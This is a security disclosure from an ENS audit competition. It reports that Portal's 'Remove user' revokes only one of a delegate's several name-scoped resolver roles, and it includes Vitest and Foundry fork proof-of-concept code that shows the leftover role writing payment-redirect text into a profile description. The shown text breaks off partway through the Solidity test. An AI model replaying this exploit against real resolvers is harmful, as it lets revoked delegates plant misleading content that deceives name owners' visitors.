92552 w a critical portal remove user from all roles revokes only one resolver scope the surviving scope permits a profile description write that remains after role cleanup
Submitted on Sep 10th 2026 at 16:11:06 UTC by @IronsideSec for Audit Competition | ENS
- Report ID: #92552
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Injecting/modifying the static content on the target application without JavaScript (persistent), such as:
- HTML injection without JavaScript
- Replacing existing text with arbitrary text
- Arbitrary file uploads, etc.
Description
Brief/Intro
Portal combines all PermissionedResolver role assignments for one account into one row, even when they belong to different resolver resources. The row still displays both names, but Remove user does not revoke both raw assignments. It selects one non-root name, flattens the displayed roles into one bitmap, and prepares one name-scoped transaction while the confirmation promises removal “from all roles.”
In the primary reproduced state, the same delegate has ROLE_SET_TEXT (16) on two ordinary names sharing one resolver:
decoy-victim.ethtreasury-victim.eth
The connected owner has the exact root route/admin bitmap reproduced in the Portal fixture. The owner opens the delegate row, sees both names, confirms Remove user, and the transaction succeeds. Portal sends only:
authorizeNameRoles(dnsencode("decoy-victim.eth"), 16, delegate, false)
After invalidation and refetch, the first role is gone but treasury-victim.eth: ROLE_SET_TEXT remains. Reversing the raw input order reverses which name is omitted; one scope survives in either order.
The former delegate can use that surviving contract-authorized role before the owner discovers and revokes it. The pinned Sepolia fork proves a post-removal setText(node, "description", arbitraryText) write and resolves the replacement through the deployed Universal Resolver. Revoking the omitted role then blocks later writes but does not undo the stored description. Portal's real profile component requests description and renders the same fork-proved text.
This is not an EAC bypass: the write passes because Portal failed to revoke one valid (resource, account) assignment. It is unauthorized relative to the owner-confirmed account-wide removal. The authority is visible and recoverable; the stored value remains only until an authorized overwrite/clear or resolver change.
Vulnerability Details
1. Account-only grouping loses the write model
groupRolesByAccount keys by account. For each later assignment it appends the raw role, appends decoded bits to one flat decodedRoles array, and independently adds the resolved name. ResolverRolesTable displays the grouped scopes and sends that one account row to the sidebar.
Grouping is safe for display, but removal must preserve each raw (resource, roleBitmap) pair. The raw roles array contains those pairs; the Remove path does not use it.
2. Remove selects one name and an aggregate bitmap
ResolverRolesSidebar.tsx:165-193 separately derives:
decodedRolesfrom the flattened account row;resolvedNamesfrom the displayed names; androleNamewithresolvedNames.find(n => n !== '(root)') ?? ''.
handleRemoveUser stores only that one roleName, the account, and the flattened role list. The confirmation still asks whether to remove the user “from all roles” (lines 441-448). The modal preparation and submitted action consume the same narrowed object (lines 467-501); this is not only a label or preview defect.
prepareResolverRolesIntent passes the pending remove object to prepareRevokeResolverRolesTransaction. The latter selects root scope only for name === ''; an ordinary selected name becomes one scope: 'name' request.
The mounted route PoC hard-codes and asserts the exact resulting data bytes. The same bytes are replayed against the fork proxy. They decode as:
function: authorizeNameRoles(bytes,uint256,address,bool)
name: decoy-victim.eth
bitmap: 16 (ROLE_SET_TEXT)
account: 0x2222222222222222222222222222222222222222
grant: false
3. The successful contract call changes only one resource
At contracts-v2 commit 8d1c89350729f87b3968cf41ef3d683951444a44, PermissionedResolver.authorizeNameRoles computes the resource from the single supplied DNS name. EnhancedAccessControl._revokeRoles updates only _roles[resource][account]. It does not know about the other assignments represented by Portal's grouped row.
The full route PoC uses a connected owner whose root bitmap is exactly:
ROLE_SET_ADDR | ROLE_SET_ADDR_ADMIN | ROLE_SET_TEXT_ADMIN
The real route gate checks root ROLE_SET_ADDR (route lines 41-50). The owner's Text admin role lets the selected revoke succeed. The test executes the real route, table, sidebar, confirmation, intent builder and revoke builder, then simulates successful transport, invalidates/refetches the overview, and observes the second name still in the delegate row. A negative control submits both name-specific revokes and proves no Text role remains while the owner's route/admin state is unchanged.
4. The omitted role changes text that Portal renders
PermissionedResolver.setText accepts the survivor because it still has ROLE_SET_TEXT. The Foundry PoC:
- forks Sepolia at block
11,673,299; - uses deployed
VerifiableFactory0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7efand deployed PermissionedResolver implementation0x9EAe5C2730a7dD16BDD1DeE6421a1B91e3B0365e; - registers two ordinary
.ethnames to one local-fork proxy for an ordinary EOA; - seeds only name-scoped Text roles for the delegate (delegate root bitmap is zero);
- replays the exact Portal calldata captured by supplemental mounted controls for both possible raw orders;
- writes the survivor's
descriptionas the delegate; - reads it through deployed Universal Resolver
0xeEeEEEeE14D718C2B47D9923Deab1335E144EeEe; - revokes the surviving role and proves a second attacker write fails while the first text remains; and
- proves an explicit owner record update repairs it.
The implementation has an exact Sourcify creation/runtime match. At the pinned block its runtime Keccak-256 is 0x7a5bbb7f5a8e46232a4437e8eea6cc6e935266ade1b8b027e4e04fb9ca8efd47; the factory runtime hash is 0x810afc44bd6c35ac974ab80a8cf983cc6e514364b7a214b3a25df2d4e1e7ba60.
Portal itself is the content sink. The public /$name route mounts NameProfileCard. NameProfileCard requests description, converts returned text records at lines 75-77, and renders texts.description at lines 115-120. getRecords normally obtains those records through ENSJS. The focused component test stubs getRecordsQueryOptions with the exact name/key/value proved on the fork and keeps the real NameProfileCard request and render logic.
5. Exploitation sequence
- One resolver serves two names. A delegate legitimately has name-scoped
ROLE_SET_TEXTon each. - The owner later distrusts the delegate, opens the grouped row, sees both scopes, and chooses Remove user.
- Portal promises removal from all roles. The owner confirms and signs one transaction. An ABI-aware wallet can show one selected name, bitmap
16, delegate, andfalse. - The transaction succeeds for that name only. The unauthorized interval begins after this owner-confirmed account-wide action succeeds.
- Before the owner notices the survivor after refetch and sends the corrective revoke, the former delegate writes arbitrary
descriptiontext to the omitted name. - Corrective role cleanup blocks future writes but does not mutate the record already stored.
- Portal displays the replacement until an authorized overwrite/clear or resolver change.
6. Preconditions and limitations
- The delegate previously held the exact role. This defect extends authority after incomplete revocation; it does not grant a stranger new authority.
- Two assignments for one account are required. The primary case uses two ordinary names with symmetric
ROLE_SET_TEXT; no root role or row-order assumption is needed. - The owner must choose Remove and approve one wallet transaction. The attacker cannot trigger that administrative action remotely.
- The owner needs sufficient admin authority for the selected bitmap. Otherwise the call reverts atomically and no false-success state arises.
- The demonstrated success path uses base manager role
ROLE_SET_TEXT. Aggregate rows containing_ADMINlabels can instead fail during ENSJS preparation; this report does not claim every bitmap succeeds. - Both names are visible before removal. An ABI-decoding wallet reveals the single selected name. The refetched row also reveals the survivor.
- The attacker must write after the incomplete transaction and before corrective cleanup. This is a post-success cleanup window, not a permanent role takeover.
- Role cleanup alone does not repair a value already written. An authorized record overwrite/clear or resolver change does.
- React renders text; no HTML or JavaScript execution, direct fund loss, or irreversible name loss is claimed.
- The PoC constructs a normal-reachable victim state; it does not claim that an organic matching resolver was found. All registrations, proxy state, permissions and writes exist only in discarded local fork state. No Sepolia write is broadcast.
7. Supplied known-issue comparison
The closest supplied entries do not describe this source/write path:
- QA-01 / WEB-1257 concerns role combinations after transfer that make later profile/primary operations error. This report has no transfer: the owner-requested revoke succeeds and an omitted current resource permits a demonstrated content write.
- WEB-1305 concerns a hang while transferring V2 roles to a V1 name. This report uses no transfer and emits valid PermissionedResolver revoke calldata.
- R2-06, labeled Low in the supplied list, concerns local session deletion leaving a time-bounded HCA co-owner permission on-chain. That is relevant adverse severity precedent, but it has a different package, state model, transaction, expiry behavior, and fix. Here Portal submits a resolver revoke to only one of several displayed resources, and the omitted resource permits the selected High-46 text consequence.
This also is not a positional stale-row-state issue: the account never changes and no checkbox state moves to another user. Stable row IDs or reset-on-account-change would not fix it. The required fix is resource-aware multi-revocation.
Recommended remediation
- Build Remove from
row.original.roles, preserving every(resource, roleBitmap)assignment. - Emit
revokeRootRoles(bitmap, account)for each root assignment and oneauthorizeNameRoles(name, bitmap, account, false)for each name assignment. - Do not derive write inputs from independent
resolvedNamesand flatteneddecodedRolesprojections. - Enumerate every planned scope/bitmap before signature. If several transactions are needed, keep the account-wide action incomplete until all succeed.
- After indexer sync, verify no raw assignment remains before reporting completion.
- Apply the same pair-preserving model to Save and prompt a potentially compromised owner to inspect existing records.
Impact Details
The exact selected impact is High 46: persistent static-content modification without JavaScript, including replacing existing text with arbitrary text.
The reproduced effect is an arbitrary description replacement after an owner-confirmed operation promising to remove the delegate from all roles. The replacement resolves through the deployed Universal Resolver and Portal's real profile component renders the same string. Later role cleanup stops further attacker writes but does not undo the record, so repeated reads retain it until authorized repair or resolver change.
The report does not claim that the malformed revoke itself injects text, that EAC is bypassed, or that authority/content is irreversible. The High consequence depends on the former delegate using the omitted role during the disclosed cleanup window.
References
- Frozen scoped Portal source
- Account grouping
- Grouped table
- Single-name Remove action and confirmation
- Remove intent preparation
- Root-versus-name revoke builder
- Portal name-route profile mount
- Portal description request/render
- PermissionedResolver name-role update
- Resource-local EAC revocation
- PermissionedResolver text write
- Sourcify exact deployment metadata
Proof of Concept
Proof of Concept
The PoC is standalone below. The optional attachment only mirrors these files and is not required.
Setup
- Clone the scoped repository and check out the frozen target:
git clone https://github.com/immunefi-team/audit-comp-ens.git
cd audit-comp-ens
git checkout --detach 1c9b47f18fcddd2e864dfe385c4171061c9811ae
- Use Node.js 22 and the repository-pinned
pnpm 10.27.0, then install from the frozen lockfile:
corepack enable
corepack prepare pnpm@10.27.0 --activate
pnpm install --frozen-lockfile
- Install Foundry (
forge; reproduced with 1.5.1). The fork requires outbound HTTPS but no key or live transaction.SEPOLIA_RPC_URLis optional; the test defaults to publichttps://sepolia.gateway.tenderly.co. - From repository root, create
audit_workspace/renewed/lead010-aggregate-text-high/and save every complete block below at its stated relative path. The blocks are byte-exact copies of the tested files. - Run, from repository root:
apps/portal/node_modules/.bin/vitest run --config audit_workspace/renewed/lead010-aggregate-text-high/portal-report-vitest.config.ts --reporter verbose
forge test --root audit_workspace/renewed/lead010-aggregate-text-high/fork-poc -vv
Expected decisive results:
Portal: 2 test files passed; 3 tests passed
- route removes decoy, refetches treasury-victim.eth:ROLE_SET_TEXT
- correct two-name negative leaves no delegate SET_TEXT authority
- profile component renders SEND ALL TREASURY PAYMENTS TO THE NEW ACCOUNT
Foundry: 1 suite passed; 3 tests passed
- each raw order clears only the selected role and preserves the other
- deployed Universal Resolver returns the attacker replacement
- text remains after omitted-role cleanup; explicit record repair restores it
- correct two-resource negative blocks both writes
Vitest can print a benign Radix warning about a missing Dialog description before passing.
Complete files
portal-report-vitest.config.ts
import { fileURLToPath } from 'node:url'
const portal = fileURLToPath(new URL('../../../apps/portal', import.meta.url))
const repo = fileURLToPath(new URL('../../..', import.meta.url))
const deps = `${portal}/node_modules`
export default {
root: portal,
test: {
globals: true,
environment: 'happy-dom',
include: [
fileURLToPath(new URL('./portal-route.test.tsx', import.meta.url)),
fileURLToPath(new URL('./portal-profile-render.test.tsx', import.meta.url)),
],
},
resolve: {
alias: {
'@': `${portal}/src`,
wagmi: `${repo}/audit_workspace/renewed/lead010-aggregate-text-high/mocks/wagmi.ts`,
'@ens-apps/transaction-manager': `${repo}/packages/transaction-manager/src`,
'@ens-apps/utils': `${repo}/packages/utils/src`,
'@testing-library/react': `${deps}/@testing-library/react`,
'@tanstack/react-query': `${deps}/@tanstack/react-query`,
'@tanstack/react-router': `${deps}/@tanstack/react-router`,
'@tanstack/react-table': `${deps}/@tanstack/react-table`,
viem: `${deps}/viem`,
react: `${deps}/react`,
},
dedupe: ['react', 'react-dom', '@tanstack/react-query', '@tanstack/react-router'],
},
}
mocks/wagmi.ts
const globals = globalThis as Record<string, unknown>
export const useConnection = () => ({
address: globals.__lead010RouteVictim,
isConnected: true,
})
export const useWalletClient = () => ({
data:
globals.__lead010RouteWalletClient ?? globals.__lead010High46WalletClient,
})
export const usePublicClient = () =>
globals.__lead010RoutePublicClient ?? globals.__lead010High46PublicClient
portal-route.test.tsx
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import {
createMemoryHistory,
createRootRoute,
createRoute,
createRouter,
Outlet,
RouterProvider,
} from '@tanstack/react-router'
import { afterEach } from 'vitest'
import {
decodeFunctionData,
parseAbi,
toHex,
type Address,
type Hex,
} from 'viem'
import { packetToBytes } from 'viem/ens'
const VICTIM = '0x1111111111111111111111111111111111111111' as const
const DELEGATE = '0x2222222222222222222222222222222222222222' as const
const RESOLVER = '0x4444444444444444444444444444444444444444' as const
const DECOY = 'decoy-victim.eth'
const TREASURY = 'treasury-victim.eth'
const ROOT_RESOURCE = `0x${'00'.repeat(32)}`
const CHAIN_ID = 11155111
const EXPECTED_DECOY_REMOVE =
'0xbbd9abb5000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000100000000000000000000000002222222222222222222222222222222222222222000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120c6465636f792d76696374696d03657468000000000000000000000000000000' as const
type IndexedRole = {
readonly account: string
readonly resource: string
readonly roleBitmap: string
readonly blockNumber: number
readonly transactionHash: Hex
readonly timestamp: number
readonly name: string | null
}
type Overview = {
readonly id: string
readonly address: string
readonly nodeCount: number
readonly aliasCount: number
readonly roleHolderCount: number
readonly nodes: readonly {
readonly id: string
readonly name: string
readonly owner: { readonly id: string }
readonly resolver: { readonly id: string; readonly address: string }
}[]
readonly aliases: readonly []
readonly roles: readonly IndexedRole[]
readonly events: readonly []
}
const mocks = vi.hoisted(() => ({
startTransaction: vi.fn(),
waitForTransaction: vi.fn(),
pollForIndexerSync: vi.fn(),
openModal: vi.fn(),
closeModal: vi.fn(),
clearTransaction: vi.fn(),
outboundFetch: vi.fn(() => {
throw new Error('LEAD-010 route-gate PoC forbids outbound fetch')
}),
overviewFetches: 0,
hasRolesCalls: [] as Array<Record<string, unknown>>,
overview: undefined as Overview | undefined,
queryClient: undefined as QueryClient | undefined,
preparedIntent: undefined as
| { request: { to: Address; data: Hex } }
| undefined,
submittedIntent: undefined as
| { request: { to: Address; data: Hex } }
| undefined,
walletClient: {
account: { address: '0x1111111111111111111111111111111111111111' },
chain: { id: 11155111 },
} as never,
publicClient: {} as never,
}))
vi.mock('@/lib/wagmi', () => ({
sepoliaWithEns: { id: 11155111 },
wagmiConfig: {},
}))
vi.mock('@/hooks/use-mobile', () => ({ useIsMobile: () => false }))
vi.mock('@/features/registry/utils/signer.helpers', () => ({
createEOASigner: () => ({ kind: 'route-gate-signer' }),
}))
vi.mock('@/features/roles/hooks/useResetMutationsOnAccountChange', () => ({
useResetMutationsOnAccountChange: () => undefined,
}))
vi.mock('@/components/CopyButton', () => ({ CopyButton: () => null }))
vi.mock('@/features/resolver/components/ResolverAddUserSheet', () => ({
ResolverAddUserSheet: () => null,
}))
vi.mock('@/features/transaction-manager/hooks/useTransactionModal', () => ({
useTransactionModal: () => ({
openModal: mocks.openModal,
closeModal: mocks.closeModal,
clearTransaction: mocks.clearTransaction,
}),
}))
vi.mock('@/utils/queryClient', () => ({
queryClient: {
prefetchQuery: (options: unknown) =>
mocks.queryClient?.prefetchQuery(options as never),
},
}))
vi.mock('@/features/resolver/hooks/useResolverOverview', () => ({
getResolverOverviewQueryOptions: ({ address }: { address: Address }) => ({
queryKey: ['resolver-overview', { address }],
queryFn: async () => {
mocks.overviewFetches += 1
return structuredClone(mocks.overview)
},
staleTime: 0,
}),
}))
vi.mock('@/features/registry/hooks/useHasRoles', () => ({
getHasRolesQueryOptions: (params: Record<string, unknown>) => ({
queryKey: ['hasRoles', params],
queryFn: async () => {
mocks.hasRolesCalls.push(params)
return true
},
staleTime: 0,
}),
}))
vi.mock('@/utils/query/pollForIndexerSync', () => ({
pollForIndexerSync: mocks.pollForIndexerSync,
}))
vi.mock('@ens-apps/transaction-manager', () => ({
transactionManager: { startTransaction: mocks.startTransaction },
waitForTransaction: mocks.waitForTransaction,
}))
vi.mock('@/features/transaction-manager/components/TransactionModal', () => ({
TransactionModal: ({
transactions,
}: {
transactions: Array<Record<string, unknown>>
}) => {
const transaction = transactions[0] as {
readonly intent?: {
readonly prepare?: (context: Record<string, unknown>) => {
request: { to: Address; data: Hex }
}
}
readonly onStart?: () => void
readonly onDone?: () => void
}
return transaction.intent?.prepare ? (
<div>
<button
type="button"
onClick={() => {
mocks.preparedIntent = transaction.intent?.prepare?.({
walletClient: mocks.walletClient,
publicClient: mocks.publicClient,
chainId: CHAIN_ID,
})
transaction.onStart?.()
}}
>
Execute captured modal action
</button>
<button type="button" onClick={() => transaction.onDone?.()}>
Finalize successful transaction
</button>
</div>
) : null
},
}))
import { Route as resolverRolesRouteImport } from '../../../apps/portal/src/routes/resolver/$address/roles/index'
import { prepareRevokeResolverRolesTransaction } from '../../../apps/portal/src/features/resolver/helpers/revokeResolverRoles'
import {
computeNameResource,
resolverRoles,
} from '../../../apps/portal/src/lib/roles/resolverRoles'
const roleAbi = parseAbi([
'function authorizeNameRoles(bytes toName, uint256 roleBitmap, address account, bool grant) returns (bool)',
'function revokeRootRoles(uint256 roleBitmap, address account) returns (bool)',
])
const VICTIM_REQUIRED_ROOT_BITMAP =
resolverRoles.ROLE_SET_ADDR |
resolverRoles.ROLE_SET_ADDR_ADMIN |
resolverRoles.ROLE_SET_TEXT_ADMIN
const initialOverview = (): Overview => ({
id: RESOLVER.toLowerCase(),
address: RESOLVER,
nodeCount: 2,
aliasCount: 0,
roleHolderCount: 2,
nodes: [DECOY, TREASURY].map((name) => ({
id: computeNameResource(name),
name,
owner: { id: VICTIM.toLowerCase() },
resolver: { id: RESOLVER.toLowerCase(), address: RESOLVER },
})),
aliases: [],
roles: [
{
account: VICTIM,
resource: ROOT_RESOURCE,
roleBitmap: toHex(VICTIM_REQUIRED_ROOT_BITMAP),
blockNumber: 1,
transactionHash: `0x${'11'.repeat(32)}`,
timestamp: 1,
name: null,
},
{
account: DELEGATE,
resource: computeNameResource(DECOY),
roleBitmap: toHex(resolverRoles.ROLE_SET_TEXT),
blockNumber: 2,
transactionHash: `0x${'22'.repeat(32)}`,
timestamp: 2,
name: DECOY,
},
{
account: DELEGATE,
resource: computeNameResource(TREASURY),
roleBitmap: toHex(resolverRoles.ROLE_SET_TEXT),
blockNumber: 3,
transactionHash: `0x${'33'.repeat(32)}`,
timestamp: 3,
name: TREASURY,
},
],
events: [],
})
const applyResolverCall = (data: Hex) => {
if (!mocks.overview) throw new Error('overview not seeded')
const decoded = decodeFunctionData({ abi: roleAbi, data })
if (decoded.functionName === 'authorizeNameRoles') {
const [dnsName, bitmap, account, grant] = decoded.args
expect(grant).toBe(false)
const selectedName =
dnsName === toHex(packetToBytes(DECOY))
? DECOY
: dnsName === toHex(packetToBytes(TREASURY))
? TREASURY
: undefined
expect(selectedName).toBeDefined()
mocks.overview = {
...mocks.overview,
roles: mocks.overview.roles.filter(
(role) =>
!(
role.account.toLowerCase() === account.toLowerCase() &&
role.resource.toLowerCase() ===
computeNameResource(selectedName as string).toLowerCase() &&
(BigInt(role.roleBitmap) & bitmap) !== 0n
),
),
}
return
}
const [bitmap, account] = decoded.args
mocks.overview = {
...mocks.overview,
roles: mocks.overview.roles.filter(
(role) =>
!(
role.account.toLowerCase() === account.toLowerCase() &&
role.resource.toLowerCase() === ROOT_RESOURCE &&
(BigInt(role.roleBitmap) & bitmap) !== 0n
),
),
}
}
const delegateCanSetText = () =>
Boolean(
mocks.overview?.roles.some(
(role) =>
role.account.toLowerCase() === DELEGATE.toLowerCase() &&
(BigInt(role.roleBitmap) & resolverRoles.ROLE_SET_TEXT) !== 0n,
),
)
const makeRouter = (queryClient: QueryClient) => {
const rootRoute = createRootRoute({
component: () => (
<QueryClientProvider client={queryClient}>
<Outlet />
</QueryClientProvider>
),
})
const resolverRoute = createRoute({
getParentRoute: () => rootRoute,
path: '/resolver/$address',
component: Outlet,
})
const rolesRoute = resolverRolesRouteImport.update({
id: '/roles',
path: '/roles',
getParentRoute: () => resolverRoute,
} as never)
const routeTree = rootRoute.addChildren([
resolverRoute.addChildren([rolesRoute]),
])
return createRouter({
routeTree,
history: createMemoryHistory({
initialEntries: [`/resolver/${RESOLVER}/roles`],
}),
})
}
describe('LEAD-010 High-46 route gate and refetch', () => {
beforeEach(() => {
vi.clearAllMocks()
mocks.overviewFetches = 0
mocks.hasRolesCalls = []
mocks.overview = initialOverview()
mocks.preparedIntent = undefined
mocks.submittedIntent = undefined
mocks.queryClient = new QueryClient({
defaultOptions: {
queries: { retry: false, gcTime: 0, staleTime: 0 },
mutations: { retry: false },
},
})
;(globalThis as Record<string, unknown>).__lead010RouteVictim = VICTIM
;(globalThis as Record<string, unknown>).__lead010RouteWalletClient =
mocks.walletClient
;(globalThis as Record<string, unknown>).__lead010RoutePublicClient =
mocks.publicClient
globalThis.fetch = mocks.outboundFetch as never
mocks.startTransaction.mockImplementation((intent) => {
mocks.submittedIntent = intent
return 'lead-010-route-gate-transaction'
})
mocks.waitForTransaction.mockImplementation(async () => {
if (!mocks.submittedIntent) throw new Error('missing submitted intent')
applyResolverCall(mocks.submittedIntent.request.data)
return { hash: `0x${'99'.repeat(32)}` }
})
mocks.pollForIndexerSync.mockImplementation(
async ({
invalidateQueries,
}: {
invalidateQueries: () => Promise<void>
}) => invalidateQueries(),
)
})
afterEach(() => {
cleanup()
mocks.queryClient?.clear()
})
it('passes the connected-victim gate, removes one name, and refetches the surviving profile authority', async () => {
if (!mocks.queryClient) throw new Error('query client missing')
const router = makeRouter(mocks.queryClient)
render(<RouterProvider router={router} />)
expect(await screen.findByRole('heading', { name: 'Roles' })).toBeTruthy()
expect(await screen.findByRole('button', { name: 'Add user' })).toBeTruthy()
await waitFor(() => expect(mocks.hasRolesCalls.length).toBeGreaterThan(0))
expect(mocks.hasRolesCalls.at(-1)).toEqual({
resolverAddress: RESOLVER,
roles: ['ROLE_SET_ADDR'],
account: VICTIM,
})
const delegateBadge = screen.getByText('0x2222…2222')
const delegateRow = delegateBadge.closest('tr')
expect(delegateRow).not.toBeNull()
expect(within(delegateRow as HTMLElement).getByText(DECOY)).toBeTruthy()
expect(within(delegateRow as HTMLElement).getByText(TREASURY)).toBeTruthy()
fireEvent.click(
within(delegateRow as HTMLElement).getByRole('button', {
name: 'Edit user roles',
}),
)
expect(
await screen.findByText(
`Roles scoped to ${DECOY}, ${TREASURY}`,
),
).toBeTruthy()
fireEvent.click(screen.getByRole('button', { name: 'Remove user' }))
expect(
await screen.findByText(
'Are you sure you want to remove this user from all roles? This action cannot be undone.',
),
).toBeTruthy()
fireEvent.click(screen.getByRole('button', { name: 'Remove' }))
fireEvent.click(
await screen.findByRole('button', {
name: 'Execute captured modal action',
}),
)
await waitFor(() => expect(mocks.startTransaction).toHaveBeenCalledTimes(1))
await waitFor(() =>
expect(
mocks.overview?.roles.some(
(role) =>
role.account.toLowerCase() === DELEGATE.toLowerCase() &&
role.resource.toLowerCase() ===
computeNameResource(DECOY).toLowerCase(),
),
).toBe(false),
)
await waitFor(() => expect(mocks.overviewFetches).toBeGreaterThanOrEqual(2))
expect(mocks.submittedIntent).toEqual(mocks.preparedIntent)
expect(mocks.submittedIntent?.request.data).toBe(EXPECTED_DECOY_REMOVE)
if (!mocks.submittedIntent) throw new Error('intent not submitted')
const submitted = decodeFunctionData({
abi: roleAbi,
data: mocks.submittedIntent.request.data,
})
expect(submitted.functionName).toBe('authorizeNameRoles')
expect(submitted.args).toEqual([
toHex(packetToBytes(DECOY)),
resolverRoles.ROLE_SET_TEXT,
DELEGATE,
false,
])
fireEvent.click(
screen.getByRole('button', { name: 'Finalize successful transaction' }),
)
await waitFor(() => {
const currentDelegateRow = screen
.getByText('0x2222…2222')
.closest('tr') as HTMLElement
expect(within(currentDelegateRow).getByText(TREASURY)).toBeTruthy()
expect(within(currentDelegateRow).queryByText(DECOY)).toBeNull()
})
expect(delegateCanSetText()).toBe(true)
expect(
mocks.overview.roles.some(
(role) =>
role.account.toLowerCase() === VICTIM.toLowerCase() &&
role.resource.toLowerCase() === ROOT_RESOURCE &&
BigInt(role.roleBitmap) === VICTIM_REQUIRED_ROOT_BITMAP,
),
).toBe(true)
expect(screen.getByRole('button', { name: 'Add user' })).toBeTruthy()
expect(mocks.outboundFetch).not.toHaveBeenCalled()
console.log('route=/resolver/$address/roles')
console.log('connected_gate=ROLE_SET_ADDR:true')
console.log(
'victim_root_bitmap=ROLE_SET_ADDR|ROLE_SET_ADDR_ADMIN|ROLE_SET_TEXT_ADMIN',
)
console.log(`submitted_function=${submitted.functionName}`)
console.log('submitted_scope=decoy-victim.eth')
console.log('refetched_survivor=treasury-victim.eth:ROLE_SET_TEXT')
console.log('connected_victim_authority_after_refetch=unchanged')
})
it('correct two-name revoke intents remove all delegate SET_TEXT authority', () => {
const nameIntent = prepareRevokeResolverRolesTransaction({
resolverAddress: RESOLVER,
name: DECOY,
account: DELEGATE,
roles: ['ROLE_SET_TEXT'],
walletClient: mocks.walletClient,
chainId: CHAIN_ID,
})
const treasuryIntent = prepareRevokeResolverRolesTransaction({
resolverAddress: RESOLVER,
name: TREASURY,
account: DELEGATE,
roles: ['ROLE_SET_TEXT'],
walletClient: mocks.walletClient,
chainId: CHAIN_ID,
})
applyResolverCall(nameIntent.request.data)
applyResolverCall(treasuryIntent.request.data)
expect(
decodeFunctionData({ abi: roleAbi, data: nameIntent.request.data })
.functionName,
).toBe('authorizeNameRoles')
expect(
decodeFunctionData({ abi: roleAbi, data: treasuryIntent.request.data })
.functionName,
).toBe('authorizeNameRoles')
expect(delegateCanSetText()).toBe(false)
expect(
mocks.overview?.roles.some(
(role) => role.account.toLowerCase() === VICTIM.toLowerCase(),
),
).toBe(true)
console.log('negative_control_calls=authorizeNameRoles(decoy)+authorizeNameRoles(treasury)')
console.log('negative_control_delegate_set_text_authority=false')
console.log('negative_control_victim_admin_authority=retained')
})
})
portal-profile-render.test.tsx
import { cleanup, render, screen } from '@testing-library/react'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import { afterEach } from 'vitest'
const NAME = 'treasury-victim.eth'
const ATTACKER_TEXT = 'SEND ALL TREASURY PAYMENTS TO THE NEW ACCOUNT'
const mocks = vi.hoisted(() => ({
params: undefined as Record<string, unknown> | undefined,
}))
vi.mock('@/features/profile/hooks/useRecords', () => ({
getRecordsQueryOptions: (params: Record<string, unknown>) => {
mocks.params = params
return {
queryKey: ['records', params],
queryFn: async () => ({
texts: [{ key: 'description', value: ATTACKER_TEXT }],
coins: [],
}),
}
},
}))
vi.mock('@/features/profile/components/NameAvatar', () => ({
NameAvatar: () => null,
}))
vi.mock('@/features/profile/components/SocialRecord', () => ({
SocialRecord: () => null,
}))
vi.mock('@/features/profile/components/CoinRecord', () => ({
CoinRecord: () => null,
}))
import { NameProfileCard } from '../../../apps/portal/src/features/profile/components/NameProfileCard'
describe('LEAD-010 Portal persistent profile text', () => {
afterEach(() => cleanup())
it('requests description in the real profile component and renders the fork-proved replacement', async () => {
const queryClient = new QueryClient({
defaultOptions: { queries: { retry: false } },
})
render(
<QueryClientProvider client={queryClient}>
<NameProfileCard name={NAME} />
</QueryClientProvider>,
)
expect(await screen.findByText(ATTACKER_TEXT)).toBeTruthy()
expect(mocks.params).toEqual(
expect.objectContaining({
name: NAME,
texts: expect.arrayContaining(['description']),
}),
)
console.log(`portal_profile_name=${NAME}`)
console.log('portal_profile_record=description')
console.log(`portal_rendered_replacement=${ATTACKER_TEXT}`)
})
})
fork-poc/foundry.toml
[profile.default]
src = "src"
test = "test"
out = "out"
cache_path = "cache"
solc_version = "0.8.30"
evm_version = "prague"
optimizer = true
optimizer_runs = 200
fork-poc/src/Placeholder.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
contract Placeholder {}
fork-poc/test/Lead010AggregateTextDeployedFork.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface Vm {
function createSelectFork(string calldata urlOrAlias, uint256 blockNumber) external returns (uint256);
function warp(uint256 newTimestamp) external;
function prank(address msgSender) external;
function startPrank(address msgSender) external;
function stopPrank() external;
function envOr(string calldata name, string calldata defaultValue) external returns (string memory value);
}
interface IERC20Like {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IVerifiableFactoryLike {
function deployProxy(address implementation, uint256 salt, bytes memory data) external returns (address);
}
interface IPermissionedResolverLike {
function initialize(address admin, uint256 bitmap, bytes[] calldata setters) external;
function grantRootRoles(uint256 bitmap, address account) external returns (bool);
function authorizeNameRoles(bytes calldata toName, uint256 bitmap, address account, bool grant)
external
returns (bool);
function revokeRootRoles(uint256 bitmap, address account) external returns (bool);
function roles(uint256 resource, address account) external view returns (uint256);
function setText(bytes32 node, string calldata key, string calldata value) external;
function text(bytes32 node, string calldata key) external view returns (string memory);
}
interface IUniversalResolverLike {
function resolve(bytes calldata name, bytes calldata data) external view returns (bytes memory, address);
}
interface IETHRegistrarLike {
function MIN_COMMITMENT_AGE() external view returns (uint64);
function isAvailable(string calldata label) external view returns (bool);
function makeCommitment(
string calldata label,
address owner,
bytes32 secret,
address subregistry,
address resolver,
uint64 duration,
bytes32 referrer
) external pure returns (bytes32);
function commit(bytes32 commitment) external;
function getRegisterPrice(string calldata label, uint64 duration, address paymentToken)
external
view
returns (uint256 base, uint256 premium);
function register(
string calldata label,
address owner,
bytes32 secret,
address subregistry,
address resolver,
uint64 duration,
address paymentToken,
bytes32 referrer
) external returns (uint256 tokenId);
}
interface IRegistryLike {
function getResolver(string calldata label) external view returns (address);
function findOwner(string calldata label) external view returns (address);
}
/// @dev Every state change occurs on a local Foundry fork. No write reaches Sepolia.
contract Lead010AggregateTextDeployedForkTest {
Vm constant vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
string constant DEFAULT_RPC = "https://sepolia.gateway.tenderly.co";
uint256 constant PINNED_BLOCK = 11_673_299;
IVerifiableFactoryLike constant FACTORY = IVerifiableFactoryLike(0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7ef);
